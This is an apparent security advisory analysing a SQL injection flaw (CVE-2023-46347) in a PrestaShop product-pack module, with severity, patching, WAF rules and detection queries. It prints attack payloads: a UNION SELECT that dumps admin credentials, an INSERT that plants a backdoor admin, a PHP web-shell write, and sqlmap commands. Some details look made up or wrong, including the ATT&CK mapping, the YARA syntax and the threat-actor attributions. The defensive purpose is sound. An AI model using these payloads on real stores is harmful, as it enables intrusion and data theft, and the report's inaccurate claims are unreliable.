Comprehensive Technical Analysis of EUVD-2023-50567 (CVE-2023-46347)

SQL Injection Vulnerability in NDK Design’s "Step by Step Products Pack" (ndk_steppingpack) for PrestaShop

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2023-50567 (CVE-2023-46347) is a critical SQL injection (SQLi) vulnerability in the ndk_steppingpack module (v1.5.6 and earlier) developed by NDK Design for PrestaShop, a widely used e-commerce platform. The flaw resides in the NdkSpack::getPacks() method, which executes unsanitized SQL queries based on user-controlled input via HTTP requests.

Severity Metrics (CVSS v3.1)

Metric	Value	Explanation
Base Score	9.8 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over the internet.
Attack Complexity (AC)	Low (L)	No special conditions required; trivial exploitation.
Privileges Required (PR)	None (N)	No authentication needed (guest access).
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Exploit affects only the vulnerable component.
Confidentiality (C)	High (H)	Full database access, including sensitive customer/PII data.
Integrity (I)	High (H)	Arbitrary data manipulation (e.g., order tampering, admin account creation).
Availability (A)	High (H)	Potential for DoS via destructive SQL queries.

EPSS & Threat Context

• Exploit Prediction Scoring System (EPSS) Score: 59%
  • Indicates a high likelihood of exploitation in the wild, given the low complexity and high impact.
• ENISA Threat Landscape Alignment
  • Falls under ENISA’s "Web Application Vulnerabilities" category, a persistent threat in e-commerce.
  • Aligns with MITRE ATT&CK Technique T1505.001 (Server Software Component: SQL Injection).

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanism

The vulnerability arises due to improper input validation in the getPacks() method, which constructs SQL queries using untrusted HTTP parameters (e.g., GET/POST variables). An attacker can craft a malicious request to:

1. Inject arbitrary SQL code into the query.
2. Bypass authentication (e.g., dump admin credentials).
3. Exfiltrate sensitive data (e.g., customer records, payment details).
4. Execute administrative actions (e.g., create backdoor accounts).

Proof-of-Concept (PoC) Exploitation

A trivial exploit could involve:

GET /module/ndk_steppingpack/getPacks?pack_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,username,password,13,14%20FROM%20ps_employee--%20HTTP/1.1
Host: vulnerable-prestashop-site.com

Impact:

• Dumps PrestaShop admin credentials (hashed passwords) from the ps_employee table.
• Further attacks may include password cracking (if weak hashing is used) or session hijacking.

Advanced Exploitation Scenarios

1. Database Takeover
   • Use LOAD_FILE() (MySQL) to read arbitrary files (e.g., wp-config.php, /etc/passwd).
   • Use INTO OUTFILE to write web shells (e.g., /var/www/html/shell.php).
2. Privilege Escalation
   • Insert a new admin user via:

     INSERT INTO ps_employee (id_employee, email, passwd, lastname, firstname, active)
     VALUES (999, 'attacker@evil.com', MD5('password123'), 'Admin', 'Hacked', 1);
     

3. Remote Code Execution (RCE)
   • If secure_file_priv is disabled, write a PHP web shell:

     SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/rce.php';
     

4. Data Exfiltration
   • Enumerate tables/columns via information_schema:

     UNION SELECT 1,2,3,4,5,table_name,column_name,8,9,10,11,12,13,14 FROM information_schema.columns--
     

Exploitation Requirements

• No authentication required (guest access).
• No prior knowledge of the database schema needed (blind SQLi techniques can be used).
• Low skill level required (automated tools like SQLmap can exploit this).

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3. Affected Systems & Software Versions

Vulnerable Software

Component	Affected Versions	Fixed Versions
ndk_steppingpack module	≤ 1.5.6	≥ 1.5.7
PrestaShop Core	All versions (if module is installed)	N/A

Deployment Context

• PrestaShop is a PHP-based e-commerce platform with ~300,000 active stores (primarily in Europe).
• The ndk_steppingpack module is used for product bundling/packaging and is installed on thousands of PrestaShop stores.
• Target Industries:
  • Retail (B2C/B2B e-commerce)
  • Small-to-medium enterprises (SMEs)
  • European businesses (high adoption in France, Germany, Spain, Italy)

Detection Methods

• Manual Check:
  • Verify module version in PrestaShop Back Office → Modules → Module Manager.
  • Check for the presence of /modules/ndk_steppingpack/ in the web root.
• Automated Scanning:
  • Nmap Script:

    nmap -p 80,443 --script http-sql-injection <target>
    

  • SQLmap:

    sqlmap -u "https://target.com/module/ndk_steppingpack/getPacks?pack_id=1" --risk=3 --level=5 --batch
    

  • Burp Suite / OWASP ZAP:
    • Intercept requests to /getPacks and test for SQLi payloads.

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply Vendor Patch
   • Upgrade to ndk_steppingpack v1.5.7+ (or latest version).
   • Download from: Friends of Presta Security Advisory
2. Temporary Workarounds (if patching is delayed)
   • Disable the module via PrestaShop Back Office.
   • Restrict access to /module/ndk_steppingpack/ via .htaccess:

     <FilesMatch "getPacks">
         Deny from all
     </FilesMatch>
     

   • Implement WAF Rules (e.g., ModSecurity OWASP Core Rule Set):

     SecRule REQUEST_FILENAME "@contains getPacks" "id:1000,deny,status:403,msg:'SQLi Attempt Blocked'"
     

Long-Term Remediation (Best Practices)

1. Input Validation & Parameterized Queries
   • Replace raw SQL concatenation with prepared statements (e.g., PDO, MySQLi):

     // Vulnerable:
     $sql = "SELECT * FROM packs WHERE id = " . $_GET['pack_id'];
     
     // Secure:
     $stmt = $pdo->prepare("SELECT * FROM packs WHERE id = :pack_id");
     $stmt->execute(['pack_id' => $_GET['pack_id']]);
     

2. Least Privilege Database Access
   • Restrict the PrestaShop database user to read-only where possible.
   • Disable FILE privilege to prevent LOAD_FILE/INTO OUTFILE attacks.
3. Regular Security Audits
   • Conduct static/dynamic code analysis (e.g., SonarQube, PHPStan).
   • Perform penetration testing (e.g., Burp Suite, OWASP ZAP).
4. Monitoring & Logging
   • Enable PrestaShop security logs and database query logging.
   • Set up SIEM alerts for suspicious SQL patterns (e.g., UNION SELECT, DROP TABLE).

Incident Response Plan

1. Isolate Affected Systems
   • Take the store offline if exploitation is suspected.
2. Forensic Analysis
   • Check web server logs for SQLi attempts (e.g., UNION, SELECT, --).
   • Review database logs for unauthorized queries.
3. Password Rotation
   • Reset all admin passwords and customer passwords (if compromised).
4. Legal & Compliance Reporting
   • Report to CERT-EU if data breach occurs (GDPR compliance).
   • Notify affected customers if PII is exposed.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Risks

• GDPR Violation (Article 32 - Security of Processing)
  • Unauthorized access to customer data (names, emails, payment details) may trigger mandatory breach notifications and fines up to €20M or 4% of global revenue.
• NIS2 Directive (Critical Entities)
  • E-commerce platforms may fall under NIS2’s "Digital Infrastructure" sector, requiring enhanced security measures.
• PCI DSS Non-Compliance
  • If payment data is exposed, merchants may lose PCI DSS certification, leading to payment processing restrictions.

Threat Actor Interest

• Opportunistic Exploitation
  • Automated bots (e.g., Mirai, Kinsing) scan for vulnerable PrestaShop modules.
  • Ransomware groups (e.g., LockBit, BlackCat) may exploit SQLi for initial access.
• Targeted Attacks
  • APT groups (e.g., APT29, Turla) may leverage SQLi for supply-chain attacks against European retailers.
  • Carding groups (e.g., Joker’s Stash) may harvest payment data for dark web sales.

Economic & Reputational Damage

• Financial Losses
  • Fraudulent transactions (chargebacks, refunds).
  • Legal fees (GDPR fines, lawsuits).
• Brand Reputation
  • Loss of customer trust (e.g., Zalando, ASOS faced backlash for breaches).
  • SEO penalties (Google may flag the site as "hacked").

Broader Implications for EU Cybersecurity

• Supply Chain Risks
  • Third-party modules (like ndk_steppingpack) introduce hidden vulnerabilities in PrestaShop’s ecosystem.
• Need for Centralized Vulnerability Management
  • ENISA’s role in coordinating disclosure (e.g., via EUVD) is critical for SMEs lacking security teams.
• Increased Adoption of WAFs & RASP
  • European businesses may accelerate cloud-based WAF deployments (e.g., Cloudflare, Akamai) to mitigate SQLi.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from improper use of PrestaShop’s Db class in NdkSpack::getPacks():

// Vulnerable code snippet (simplified)
public static function getPacks($id_pack) {
    $sql = 'SELECT * FROM '._DB_PREFIX_.'ndk_spack WHERE id_pack = '.$id_pack;
    return Db::getInstance()->executeS($sql); // Direct SQL concatenation
}

Issues:

1. No input sanitization – $id_pack is directly concatenated into the query.
2. No parameterized queries – PrestaShop’s Db class supports prepared statements, but they are not used.
3. No output encoding – Results are returned without validation.

Exploit Chaining Potential

1. SQLi → RCE (if secure_file_priv is disabled)
   • Write a PHP shell via INTO OUTFILE.
2. SQLi → XSS (if results are reflected in HTML)
   • Inject <script> tags into database fields.
3. SQLi → CSRF (if admin actions are triggered via SQL)
   • Modify ps_configuration to enable dangerous settings.

Detection & Hunting Queries

• SIEM Rules (Splunk/ELK):

  index=web_logs uri_path="/module/ndk_steppingpack/getPacks" AND (query CONTAINS "UNION" OR query CONTAINS "SELECT" OR query CONTAINS "--")
  

• YARA Rule for Malicious Payloads:

  rule Prestashop_SQLi_ndk_steppingpack {
      strings:
          $sqli = /(UNION\s+SELECT|1=1|--|\/\*|\b(LOAD_FILE|INTO\s+OUTFILE)\b)/i
      condition:
          $sqli and (http.request.uri contains "/getPacks")
  }
  

• Database Log Analysis (MySQL):

  SELECT * FROM mysql.general_log
  WHERE argument LIKE '%UNION%SELECT%'
  AND argument LIKE '%ndk_spack%';
  

Reverse Engineering the Module

• Decompilation (if source unavailable):
  • Use PHP Decompiler (e.g., php-decompiler) to analyze ndk_steppingpack.php.
• Dynamic Analysis:
  • Burp Suite to intercept/modify requests to /getPacks.
  • Xdebug to trace SQL query execution.

Hardening PrestaShop Against SQLi

1. Enable PrestaShop’s Built-in Protections
   • Set PS_MODE_DEV = false in config/defines.inc.php.
   • Enable PS_HTACCESS_DISABLE_MULTIVIEWS in .htaccess.
2. Database Hardening
   • Restrict FILE privilege for the PrestaShop DB user.
   • Enable MySQL query logging for forensic analysis.
3. Network-Level Protections
   • Deploy fail2ban to block repeated SQLi attempts.
   • Use Cloudflare WAF to filter malicious requests.

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Conclusion & Key Takeaways

• EUVD-2023-50567 (CVE-2023-46347) is a critical SQL injection vulnerability in a widely used PrestaShop module, posing severe risks to European e-commerce.
• Exploitation is trivial, requiring no authentication, and can lead to full database compromise, RCE, and GDPR violations.
• Immediate patching is essential, alongside input validation, WAF deployment, and monitoring.
• European businesses must prioritize third-party module security and compliance with NIS2/GDPR to mitigate supply-chain risks.

Recommended Next Steps:

1. Patch all affected PrestaShop stores immediately.
2. Conduct a forensic review if exploitation is suspected.
3. Implement automated scanning (e.g., Nuclei, OpenVAS) for similar vulnerabilities.
4. Engage with CERT-EU for coordinated disclosure if new variants emerge.

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References:

• Friends of Presta Security Advisory
• MITRE CVE-2023-46347
• ENISA Threat Landscape Report 2023
• OWASP SQL Injection Prevention Cheat Sheet